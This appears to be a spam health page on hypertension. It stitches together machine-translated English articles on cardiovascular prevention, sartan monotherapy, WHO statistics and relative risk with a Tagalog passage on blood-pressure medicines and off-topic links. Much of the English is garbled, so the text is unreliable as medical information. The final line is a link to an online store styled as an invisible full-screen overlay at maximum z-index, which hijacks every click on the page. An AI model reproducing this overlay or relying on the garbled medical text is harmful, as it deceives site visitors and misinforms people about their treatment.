# Monotherapy for hypertension #
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## Cardiovascular diseases ##
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Cardiovascular disease: A silent threat of our time
Cardiovascular diseases are among the leading causes of death in the world and Germany is no exception. According to statistics from the Robert Koch Institute, more than 35% of all deaths in Germany annually to diseases of the cardiovascular system. These Figures show that The threat is real and affects us all.
What is cardiovascular disease? This term covers a variety of diseases, including:
Coronary heart disease (narrowing of the heart arteries),
High Blood Pressure (Hypertension),
Stroke (Apoplexy),
Congestive Heart Failure (Weak Heart),
Arrhythmias (Heart Rhythm Disorders).
Why are these diseases are so dangerous?
The main reasons lies in its often insidious course. For decades, risk factors such as unhealthy diet, lack of exercise, Obesity, Stress, Smoking and excessive alcohol consumption can the blood vessels and the heart damage — without the Affected person feels it. It is only when it is too late, to show the first symptoms: chest pain, shortness of breath, dizziness, or a sudden drop in performance.
Diektoren of the future: prevention instead of reaction
The us is clear: The best weapon against cardiovascular diseases is prevention. What individuals can do to maintain a healthy heart?
Exercise: Regular physical activity — for example, 30 minutes of brisk walking a day — strengthens the heart muscle and lowers blood pressure.
Nutrition: A balanced diet with lots of fruits, vegetables, whole grain products and low-fat dairy products and low in salt and saturated fats protect the vessels.
Give up Smoking: it improves the heart health after just a short period of time to Quit Smoking.
Stress management techniques such as Meditation, Yoga or just relaxation in everyday life to help to reduce blood pressure.
Regular checkups: measurement of blood pressure, cholesterol and blood sugar tests can detect risks early on.
Conclusion
Cardiovascular diseases are not inevitable Fate, but often the result of lifestyle choices. By rethinking our habits, and small but important steps to promote health company, we can protect our cardiovascular system in a sustainable way. The investment in your own heart health is the best investment we can ever make for a long, fulfilling and active life.
Ang presyon ng dugo ay isa sa mga pangunahing indikasyon ng kalusugan, na hindi lamang sumasalamin sa puso at sistema ng sirkulasyon, kundi pati na rin sa aktibidad ng mga bato, mga organo ng endokrin, paggawa ng dugo, at ng sistema ng nerbiyos. Kaya naman, walang isang unibersal na gamot laban sa mataas na presyon ng dugo. Hindi ka basta basta puwedeng pumunta sa botika at magtanong ng 'tableta para sa presyon,' kasi agad na tatanungin ng parmasyutiko – anong gamot ang nireseta sa iyo ng doktor?
> Ang pagkontrol sa presyon ay isang napakahalagang gawain, dahil ang pag-inom ng mga tableta na nakakatulong sa pagpapanatili ng normal na mga indikador ay maaaring magbigay ng araw-araw na komportableng buhay, upang maiwasan ang panganib ng hypertensive crisis, atake sa puso, at stroke. Ang mga gamot para sa kontrol ng presyon ay medyo malawakang makukuha sa mga botika, pero tanging ang doktor lang ang makakapili ng tamang gamot na angkop sa therapy. Lahat ng grupo ng gamot para pababain ang presyon ay may iba't ibang mekanismo ng epekto, side effects, at may kaunting posibilidad ng pagkadepende. Ang tamang pagpili ng gamot ay nagbibigay ng mabilis at tuloy-tuloy na resulta, at ang eksperimento sa sarili sa pag-inom ng gamot ay may mataas na posibilidad ng biglaang karamdaman, sakit sa puso at daluyan ng dugo, at sa matinding kaso, maaaring magdulot ng kamatayan.
<a href="https://hedgedoc.nrp-nautilus.io/s/iIIx6o4Okh">Cardiovascular disease who</a>
Ang mga modernong gamot sa pag-imprenta ay hinahati sa 10 iba't ibang grupo ayon sa kanilang mekanismo ng pagkilos. Pagkatapos suriin ng doktor ang mga reklamo ng pasyente at ang resulta ng mga pagsusuri, nagrereseta siya ng isa o higit pang gamot, na hindi dapat baguhin nang mag-isa. Ang mga gamot sa puso at daluyan ng dugo ay hindi kabilang sa mga puwedeng irekomenda sa kaibigan. Ang maling desisyon ay maaaring magdulot ng malungkot na kahihinatnan. Lahat ng gamot na pampababa ng presyon ng dugo ay kailangan ng reseta. Sa artikulong ito, tinitingnan natin ang kanilang modernong klasipikasyon base sa mga aktibong sangkap at sa paraan ng epekto nito sa katawan. <a href="http://www.bloodfaces.de/attachment/1761-the-best-medicine-against-high-blood-pressure-without-side-effects.xml">The relative risk of cardiovascular disease </a> Monotherapy for hypertension: The role of Sartans
High blood pressure, known medically as hypertension referred to, is one of the most common health problems of modern society. According to studies, millions of people worldwide suffer from this disease, which is not covered if you need to — to serious complications such as heart attack, stroke, or kidney damage can result. An effective reduction in blood pressure is, therefore, essential. In recent years, the mono-therapy with Sartans has proven to be a promising approach established.
What Sartans are?
Sartans, also known as Angiotensin‑II‑receptor blocker (in short ARB) are known, belong to a class of drugs that are purposefully lowering the blood pressure. Their effect is due to the fact that you are not blocking the binding of Angiotensin II to its receptors in the body. Angiotensin II is a powerful vasokonstriktives peptides — it constricts blood vessels and leads to an increase in blood pressure. The inhibition of this effect of Sartans for a relaxation of the vessel walls and thus a reduction in blood pressure.
Among the most famous representatives of this group:
Losartan,
Valsartan,
Candesartan,
Irbesartan.
Why Mono-Therapy?
The idea of mono-therapy is simple and clear treatment strategy: Instead of multiple medication is first prescribed a single drug in adjusted doses. This has several advantages:
Easier Ingestion. Patients take a drug, what are the Compliance (adherence to Therapy) increases.
Reduced risk of side effects. The less medication, the lower the risk of adverse interactions.
Cost-efficiency. A single therapy is often more economical as a combination therapy.
Makes It Easier To Monitor. The doctor and the Patient can control the effect and tolerability of the preparation the better.
Studies and results
Numerous clinical studies confirm the effectiveness of Sartans in the monotherapy treatment of high blood pressure. Time was, for example, a long study, Losartan, in patients with moderate hypertension, a significant reduction in blood pressure within 8-12 weeks could be achieved. Also, Valsartan has been shown in studies to be safe and effective, particularly in patients who cannot tolerate ACE inhibitors because of side effects (such as cough).
Advantages of Sartans compared to other drugs
Compared to other blood pressure Sartans have some special advantages:
You can rarely cause a cough (a common Problem with ACE‑inhibitors).
You will have a good impact on older patients.
They provide additional protection for the heart and kidneys, particularly in diabetic patients is of great importance.
Their effect is long-lasting, so that often a single daily dose is sufficient.
Challenges and limitations
Despite its advantages, the mono-therapy is not with Sartans for each patient the optimal solution. In the case of severe hypertension, or in the Presence of other risk factors (such as Diabetes, congestive heart failure) can be a combination therapy with diuretics or calcium antagonists is required. In addition, patients should regularly measure blood pressure and medical care, to identify potential side-effects at an early stage.
Conclusion
The mono-therapy with Sartans is a modern, safe and effective approach for the treatment of high blood pressure. It offers patients a simple, well-tolerated and sustainable way to keep your blood pressure in the healthy range. Nevertheless, an individual examination by the physician is essential to the therapy can be optimally adapted to the needs and Health of the Individual.
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## Cardiovascular disease who ##
Cardiovascular diseases: the role of The world health organization (WHO)
Cardiovascular diseases (HKK) is worldwide the leading cause of death and are associated with significant socio-economic costs. According to the latest data from the world health organization (WHO) die each year, approximately 17.9 million people to the consequences of cardiovascular disease, nearly 32 % of all deaths worldwide. More than 75% in low - and middle-developed countries.
Definition and main forms
Heart disease refers to a group of diseases that affect the heart and blood vessels. Among the most important forms:
Coronary heart disease (CHD),
Stroke (Apoplexy),
Heart failure,
arrhythmic heart disease,
High Blood Pressure (Hypertension),
peripheral arterial occlusive disease.
Risk factors according to the WHO Definition
The WHO has identified a number of modifiable and non-modifiable risk factors:
Modifiable Factors:
unhealthy diet (high in salt, sugar and fat content),
lack of physical activity,
Tobacco,
excessive consumption of alcohol,
Overweight and obesity,
increased blood pressure,
elevated blood fat levels (dyslipidemia),
increased blood sugar level (Diabetes mellitus).
Non-modifiable factors:
Age
Gender (men are up to 50. Age at greater risk),
family history.
Strategies of the WHO for the prevention
The WHO has developed a number of global initiatives for the reduction of cardiovascular diseases. The Central objective of the Global non-communicable diseases action plan 2025 is to reduce premature deaths from non-communicable diseases (including HKK) to 25%.
These include measures such as:
Introduction of salt-reduction programmes,
Ban on industrially produced trans-fatty acids,
Increased taxes on sugary drinks and tobacco,
The promotion of physical activity in cities and schools,
Building health systems for early detection and treatment of hypertension and Diabetes.
Conclusion
Cardiovascular diseases remain one of the biggest health challenges of the present. The WHO plays a Central role in the coordination of international efforts to combat these diseases. Through evidence-based prevention strategies, global agreements and the support of health systems in developing countries, the burden of heart and circulatory diseases in the world are sustainably reduced.
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## The relative risk of cardiovascular disease ##
Protect your heart – reduce your risk!
You know, how high is your relative risk for cardiovascular disease?
Each of us has a specific reason for the risk of getting a heart or circulatory disease. However, various factors can increase this risk significantly – or lower.
What is the meaning of relative risk?
The relative risk compares your personal risk with the average risk in the population. If your relative risk is 1.5, you are 50% more prone to heart problems than average. 0.8, however, you are even more protected than most people.
What are the factors that influence their relative risk?
Lack of exercise increases the risk significantly.
Unhealthy diet loaded your heart and blood vessels.
Smoking harms your cardiovascular system in the long term.
Stress can make blood pressure rise.
Obesity is a burden for the heart.
Good news: Many of these factors influence!
So you can reduce the relative risk:
Regular physical activity (at least 150 minutes of moderate exercise per week).
A balanced diet with lots of fruit, vegetables and fibre.
Waiver of tobacco products.
Stress management relaxation techniques or Hobbies.
Regular health check-UPS at the doctor.
Take the first step today!
Let your individual risk profile at the house doctor to determine. A simple Test shows your blood pressure, cholesterol, and other important parameters.
Your heart will thank you – today and in the future.
Talk with your doctor about your relative risk and develop a tailored plan of Prevention.
<a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">Monotherapy for hypertension</a>